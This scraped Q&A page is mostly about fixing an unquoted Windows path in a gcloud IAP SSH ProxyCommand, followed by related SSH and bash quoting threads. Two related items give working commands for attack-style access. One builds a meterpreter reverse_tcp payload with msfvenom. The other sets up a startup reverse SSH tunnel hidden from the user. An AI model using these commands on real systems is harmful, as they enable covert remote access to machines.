Unable to connect to gcp using ssh from command terminal (windows machine) - windows

Initially ran the below command in terminal.
gcloud compute ssh --project="pret-registry" --zone="us-east1-b" "pretlist-hw-server" --tunnel-through-iap --dry-run
Output of the above command
ssh -t -i C:\Users\Administrator.ssh\google_compute_engine -o CheckHostIP=no -o HashKnownHosts=no -o HostKeyAlias=compute.1900385377936815063 -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=C:\Users\Administrator.ssh\google_compute_known_hosts -o "ProxyCommand C:\Program Files (x86)\Google\Cloud SDK\google-cloud-sdk\platform\bundledpython\python.exe -S "C:\Program Files (x86)\Google\Cloud SDK\google-cloud-sdk\lib\gcloud.py" compute start-iap-tunnel pretlist-hw-server %p --listen-on-stdin --project=pret-registry --zone=us-east1-b --verbosity=warning" aravindh_swaminathan_pretlist_co#compute.1900385377936815063
Tried running the above command in my terminal and got the below error.
C:\Program Files (x86)\Google\Cloud SDK\google-cloud-sdk\platform\bundledpython\python.exe: can't open file 'C:\Program': [Errno 2] No such file or directory kex_exchange_identification: Connection closed by remote host
If I navigate to C:\Program Files (x86)\Google\Cloud SDK in my terminal and run the below command (replaced the aforementioned path with "."), then the connection goes through.
ssh -t -i C:\Users\Administrator.ssh\google_compute_engine -o CheckHostIP=no -o HashKnownHosts=no -o HostKeyAlias=compute.1900385377936815063 -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=C:\Users\Administrator.ssh\google_compute_known_hosts -o "ProxyCommand .\google-cloud-sdk\platform\bundledpython\python.exe -S ".\google-cloud-sdk\lib\gcloud.py" compute start-iap-tunnel pretlist-hw-server %p --listen-on-stdin --project=pret-registry --zone=us-east1-b --verbosity=warning" aravindh_swaminathan_pretlist_co#compute.1900385377936815063
Need this ssh to work with full path since I want to connect to gcp from vs code.

It appears that some double quotes are missing around paths with whitespaces. The actual error is can't open file 'C:\Program': [Errno 2] No such file or directory, so I think that you need to enclose the path in quotes:
"C:\Program Files (x86)\Google\Cloud SDK\google-cloud-sdk\platform\bundledpython\python.exe"

Related

bash: C:/Program: No such file or directory

I am new to Docker, Debezium, Bash, and Kafka. I am attempting to run the Debezium tutorial/example for MSSQL Server on Windows 10 here:
https://github.com/debezium/debezium-examples/blob/master/tutorial/README.md#using-sql-server
I am able to start the topology, per step one. However, when I go to step two and execute the following command:
cat debezium-sqlserver-init/inventory.sql | docker exec -i tutorial_sqlserver_1 bash -c '/opt/mssql-tools/bin/sqlcmd -U sa -P $SA_PASSWORD'
I get the following error:
bash: C:/Program: No such file or directory
I do not have the foggiest idea why it would even drag C:/Program in to this. I do not see it in the command nor do I see it in the *.sql file. Does anyone know why this is happening and what the fix is?
Note 1: I am already in the current directory where this command should be runnable and there are no spaces in the folder/file path
Note 2: I am running the commands in Git Bash
When using set -x to log how the command is run, there's still no C:/Program anywhere in it, as can be seen by the following log:
$ cat debezium-sqlserver-init/inventory.sql | docker exec -i tutorial_sqlserver_1 bash -c '/opt/mssql-tools/bin/sqlcmd -U sa -P $SA_PASSWORD'
+ cat debezium-sqlserver-init/inventory.sql
+ docker exec -i tutorial_sqlserver_1 bash -c '/opt/mssql-tools/bin/sqlcmd -U sa -P $SA_PASSWORD'
bash: C:/Program: No such file or directory
I had a similar problem yesterday, the solution was adding a backslash before the absolute path, like :
cat debezium-sqlserver-init/inventory.sql | docker exec -i tutorial_sqlserver_1 bash -c '\/opt/mssql-tools/bin/sqlcmd -U sa -P $SA_PASSWORD'
\/opt/mssql-tools/bin/sqlcmd prevents conversion to Windows path.

how to run a ssh reverse tunnel in a startup batch file in background?

Basically i want to write .bat file in the startup that does a reverse tunnel in the background
So these are the things i tried in the batch file but non worked
ssh -fN -o StrictHostKeyChecking=no -R port1:localhost:port2 user#ip
ssh -f -o StrictHostKeyChecking=no -R port1:localhost:port2 user#ip
start /min cmd.exe /C "ssh -fN -o StrictHostKeyChecking=no -R port1:localhost:port2 user#ip"
start /min cmd.exe /C "ssh -f -o StrictHostKeyChecking=no -R port1:localhost:port2 user#ip"
start /min cmd.exe /C "ssh -o StrictHostKeyChecking=no -R port1:localhost:port2 user#ip"
when i dont include option N and say -f, it doesn't work and i cannot connect from other side
when i do say -fN, weirdly enough (with or without /min) a new empty cmd shell spawns, and even when i close it manually i can still connect! tried killing cmd.exe after a timeout to close it automatically but that didnt work
but there has to be a way, how can i send a reverse ssh tunnel in a batch file without user noticing it?
I think you can try writing a batch script to run the command at startup. You can refer to https://ss64.com/nt/start.html for more info.
I found a /B parameter in it that can solve your problem.

Generating a payload with 'msfvenom' gives "Permission denied" on macOS

I am trying to create a metasploit payload using msfvenom with the following command:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f exe -o /Users/<UserNameHere>/Desktop > shell.exe
But when that is executed I get: -bash: shell.exe: Permission denied
even though i tried running it with sudo and logging in as root with dsenableroot. I'm not sure what is wrong or where to look for an answer.
Try:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=3333 -f exe -o /Users/<UserNameHere>/Desktop/File.exe

SSH command options cause errors when stored in a variable

I have a variable that stores an SSH command, since my script uses it quite often.
SSH_CMD="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o BatchMode=yes"
However, I'm running into an issue where the SSH command works fine on its own, but doesn't work when I use the variable
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o BatchMode=yes $host exit 0
${SSH_CMD} $host exit 0
The first line works great. The second line fails with a No such file or directory message. When I remove -o UserKnownHostsFile=/dev/null from $SSH_CMD, the error message is command not found. If I remove either of the other two options, the message doesn't change, but when $SSH_CMD is just "ssh", it works.
What's causing this problem?
So why does it work without any issues in other scripts?
Many times answered. Try bash alias or bash function:
alias my_ssh='ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o BatchMode=yes'
my_ssh $host exit 0
Or rahter use ssh_config in your ~/.ssh/config.
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
BatchMode yes
and then you don't need any harakiri like this and just use
ssh $host exit 1

Command not found error in bash

I am writing command in bash script as:-
${SSH} ${USER}#${HOST} mkdir -p ${DEST_LOG_DIR};
However on Debug flow I get as:
+ 'ssh -o StrictHostKeyChecking=no' -i xxxxx.pem user#host 'mkdir -p test"
./test.sh: line 454: ssh -o StrictHostKeyChecking=no: command not found
The varibable SSH is defined as
SSH="ssh -o StrictHostKeyChecking=no"
Why it is giving me this error?
"I'm trying to put a command in a variable, but the complex cases always fail!"
SSH=(ssh -o StrictHostKeyChecking=no)
...
"${SSH[#]}" ...

Resources